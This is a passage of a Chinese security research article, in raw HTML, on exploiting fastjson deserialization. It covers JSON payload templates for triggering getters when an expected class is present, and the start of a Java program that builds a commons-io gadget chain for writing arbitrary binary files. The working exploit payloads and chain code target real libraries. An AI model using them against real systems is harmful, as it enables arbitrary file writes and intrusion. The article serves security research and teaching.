stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    {}: {},</span><span leaf=""><br/></span><span leaf="">    &#34;username&#34;: &#34;admin&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;password&#34;: &#34;123456&#34;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">若存在期望类且类型不是Map及其子类，则会报错</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    &#34;test&#34;: {</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            {}: {}</span><span leaf=""><br/></span><span leaf="">        }: &#34;&#34;</span><span leaf=""><br/></span><span leaf="">    },</span><span leaf=""><br/></span><span leaf="">    &#34;username&#34;: &#34;admin&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;password&#34;: &#34;123456&#34;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">修改为上述参数之后不报错</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">存在期望类的反序列化点有以下限制：</span></p><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><section><span leaf="">1. 利用getter触发漏洞的payload大多数无法成功触发</span></section></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><section><span leaf="">2. 无法使用引用</span><span leaf=""><br/></span><span leaf="">有一个在存在期望类的反序列化点触发getter的payload，某ctf上学习到的，时间比较久远具体链接忘记了</span></section></li></ol><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    &#34;dd&#34;: {</span><span leaf=""><br/></span><span leaf="">        &#34;@type&#34;: &#34;java.util.Currency&#34;,</span><span leaf=""><br/></span><span leaf="">        &#34;val&#34;: {</span><span leaf=""><br/></span><span leaf="">            &#34;currency&#34;: {</span><span leaf=""><br/></span><span leaf="">                &#34;w&#34;: {</span><span leaf=""><br/></span><span leaf="">                    payload</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">java.util.Currency</span></code><span leaf="">的一些特性触发getter，这个payload有一个缺点是反序列化结果一定报错，在没有报错详情信息的情况下我们很难判断是不是payload部分出了问题</span><span leaf=""><br/></span><span leaf="">还有一个针对JSONObject.parse()触发getter的payload，笔者从这篇文章中学到 </span><a title="https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&amp;mid=2247496817&amp;idx=1&amp;sn=6344acf0dcba7da936e7b02c213abb87&amp;scene=21#wechat_redirect" href="https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&amp;mid=2247496817&amp;idx=1&amp;sn=6344acf0dcba7da936e7b02c213abb87&amp;scene=21#wechat_redirect" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(87, 107, 149);text-decoration: none;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" href="https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&amp;mid=2247496817&amp;idx=1&amp;sn=6344acf0dcba7da936e7b02c213abb87&amp;scene=21#wechat_redirect"><span leaf="">https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA</span></a></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">     {</span><span leaf=""><br/></span><span leaf="">         &#34;@type&#34;: &#34;com.alibaba.fastjson.JSONObject&#34;,</span><span leaf=""><br/></span><span leaf="">         &#34;aaa&#34;:{</span><span leaf=""><br/></span><span leaf="">                 payload</span><span leaf=""><br/></span><span leaf="">         }</span><span leaf=""><br/></span><span leaf="">     }: &#34;xxx&#34;</span><span leaf=""><br/></span><span leaf=""> }</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过将payload放在键名处从而触发toString，并且payload被封装进一个JSONObject对象，触发JSONObject对象的toString进而触发getter（大致原理，可能有误），笔者在1.2.68版本测试，存在期望类时并不能直接触发getter，可以利用期望类原有的String类型的成员变量来触发</span><span leaf=""><br/></span><span leaf="">例如存在期望类User类，有两个String类型的成员变量username、password，那么可以构造</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;username&#34;:{</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        &#34;@type&#34;: &#34;com.alibaba.fastjson.JSONObject&#34;,</span><span leaf=""><br/></span><span leaf="">        &#34;aaa&#34;:{</span><span leaf=""><br/></span><span leaf="">          payload</span><span leaf=""><br/></span><span leaf="">    }}: {}</span><span leaf=""><br/></span><span leaf="">    },</span><span leaf=""><br/></span><span leaf="">    &#34;password&#34;:&#34;&#34;,</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  这样的优点是大多数情况下不会报错，如果报错的话我们可以判断出是payload部分出了问题。另外就是无法使用引用的问题，在存在期望类时，会把反序列化结果转为期望类对象，在使用引用的时候只能引用期望类有的成员变量，大部分情况成员变量是字符串和数字类型，而我们引用的大部分情况是一个对象，这个对象即使我们放在成员变量上，也会转为成员变量的类型，比如我们需要引用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">org.apache.commons.io.input.BOMInputStream</span></code><span leaf="">对象调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getBOM</span></code><span leaf="">方法，对象被转成了String类型调用不到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getBOM</span></code><span leaf="">方法，也就是这种情况下我们没办法使用commons-io去读取文件了。</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">commons-io 写二进制文件链优化</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">@jsjcw师傅在GeekCon 2024分享的commons-io写二进制文件的链非常精彩，但是需要多次发包，后续笔者在调试过程中发现可以结合Blackhat 2021 中链的逻辑，构造出一条新的可以写任意数量字符的链</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">import</span></span><span leaf=""> com.alibaba.fastjson.JSONObject;</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">import</span></span><span leaf=""> java.io.IOException;</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">import</span></span><span leaf=""> java.nio.file.Files;</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">import</span></span><span leaf=""> java.nio.file.Paths;</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">import</span></span><span leaf=""> java.util.Arrays;</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">class</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">IoWrite</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">static</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">void</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">main</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">(String[] args)</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throws</span></span><span leaf=""> IOException {</span><span leaf=""><br/></span><span leaf="">        String payload=getPayload(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;/tmp/2.jpg&#34;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;/tmp/1.jpg&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        System.out.println(payload);</span><span leaf=""><br/></span><span leaf="">        JSONObject.parseObject(payload);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">static</span></span><span leaf=""> String </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">getPayload</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">(String target,String file)</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throws</span></span><span leaf=""> IOException {</span><span leaf=""><br/></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">byte</span></span><span leaf="">[] bytes= Files.readAllBytes(Paths.get(file));</span><span leaf=""><br/></span><span leaf="">        String hexString=bytesToHexString(bytes);</span><span leaf=""><br/></span><span leaf="">        System.out.println(bytes.length+</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">byte</span></span><span leaf="">[] array = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">new</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">byte</span></span><span leaf="">[bytes.length+</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">1</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">        String payload=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;{\&#34;xxx\&#34;:{\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;  \&#34;@type\&#34;:\&#34;java.lang.AutoCloseable\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;  \&#34;@type\&#34;:\&#34;org.apache.commons.io.input.BOMInputStream\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;  \&#34;delegate\&#34;:{\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;    \&#34;@type\&#34;: \&#34;org.apache.commons.io.input.AutoCloseInputStream\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;    \&#34;in\&#34;: {\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;      \&#34;@type\&#34;: \&#34;org.apache.commons.io.input.TeeInputStream\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;      \&#34;input\&#34;: {\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;        \&#34;@type\&#34;: \&#34;org.apache.commons.io.input.CharSequenceInputStream\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;        \&#34;cs\&#34;: {\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span style="box-sizing: 